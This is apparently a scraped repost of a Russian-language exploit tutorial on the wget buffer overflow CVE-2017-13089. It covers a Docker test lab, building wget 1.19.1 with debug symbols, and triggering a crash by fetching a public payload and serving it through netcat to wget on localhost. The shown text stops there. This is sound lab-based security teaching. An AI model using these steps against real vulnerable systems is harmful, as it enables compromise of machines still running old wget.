✔Wget в отключке. Эксплуатируем переполнение буфера в популярной качалке для Linux - «Новости»
Содержание статьи
- Анализируем уязвимость
- Заключение
INFO
Уязвимости присвоен номер CVE-2017-13089, она присутствует во всех версиях wget вплоть до 1.19.1.
Стенд
Сперва готовим площадку для будущих экспериментов. Тут нам на помощь пришла работа Роберта Дженсена (Robert Jensen), который собрал докер-контейнер для тестирования уязвимости. Скачать докер-файл, эксплоит и прочее ты можешь в его репозитории. Затем останется только выполнить
docker build -t cve201713089 .
[/code]
Если ничего качать не хочется, то достаточно команды
docker pull robertcolejensen/cve201713089
[/code]
Затем запускаем контейнер.
docker run --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -ti --name=wget --hostname=wget robertcolejensen/cve201713089 /bin/bash
[/code]
Подключившись к контейнеру, компилируем исходники wget с флагом
-g
для более удобной отладки.
$ wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
$ tar xvzf wget-1.19.1.tar.gz
$ cd wget-1.19.1 && CFLAGS="-g" ./configure && make && make install && cd -
[/code]
Проверим, успешно ли скомпилились исходники с поддержкой отладочных символов.
$ gdb wget
[/code]
gdb подгрузил отладочные символы
Теперь с этим можно работать. Переходим к следующему этапу.
Анализируем уязвимость
Давай сразу посмотрим, как можно триггернуть уязвимость. Для этого в репозитории есть пейлоад, который можно скачать тем же wget. ?
$ wget https://raw.githubusercontent.com/r1b/CVE-2017-13089/master/src/exploit/payload
[/code]
Перенаправим вывод из файла в порт при помощи netcat и попробуем получить содержимое через wget.
$ nc -lp 1337 < payload &
$ wget --debug localhost:1337
[/code]
После коннекта и получения ответа утилита крашится.
Источник новости - google.com